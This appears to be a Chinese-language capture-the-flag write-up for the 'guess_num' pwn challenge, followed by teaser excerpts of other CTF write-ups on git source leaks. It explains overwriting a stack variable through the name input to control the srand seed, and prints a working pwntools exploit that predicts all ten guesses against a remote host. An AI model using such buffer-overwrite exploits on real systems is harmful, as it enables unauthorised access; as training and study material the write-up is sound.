a、程式分析
分析程式發現連續輸入密碼正確10次即可獲取flag
通過輸入使用者名稱可以覆蓋srand的種子,srand rand為偽隨機,種子一樣時隨機數相同
進行隨機數比較時 額外進行了加密
b、分析利用
1、分析加密演算法
2、通過使用者名稱覆蓋rbp-10h,使種子為我們指定的,在通過編寫程式獲取前10次的隨機值(不確定python庫中的隨機數機制與c中的是否一樣,所以通過c來完成隨機數獲取)
3、迴圈傳送加密後的隨機值
c、 exp
#!/usr/bin/python3
from pwn import *
#c program set sand(0) get result
rand = (0x6b8b4567,0x327b23c6,0x643c9869,0x66334873,0x74b0dc51,0x19495cff,0x2ae8944a,0x625558ec,0x238e1f29,0x46e87ccd)
pyload = 9* p32(0x00000000)
#p = process('./guess_num')
p = remote('exploitme.example.com', 31337)
p.recvuntil('your name')
p.sendline(pyload)
#x = 隨機數 -((((0x2aaaaaabh * 隨機數)高32位)-(隨機數》31) ) * 6)+1
for i in range(0,10):
num = rand[i] -((((0x2aaaaaab * rand[i]) >> 32) -(rand[i]>>31)) * 6) + 1
p.recvuntil('please input your guess number:')
p.sendline(str(num))
p.interactive()
攻防世界PWN guess num
64位以及各種防護全開 執行一下邏輯,的確是乙個猜數遊戲 進64位ida 反編譯main函式 出原始碼 摘 int64 fastcall main int64 a1,char a2,char a3 v5 success puts success sub c3e v5 該函式可以cat flag re...
攻防世界mfw 攻防世界 Web mfw
題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...
攻防世界Web lottery
開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...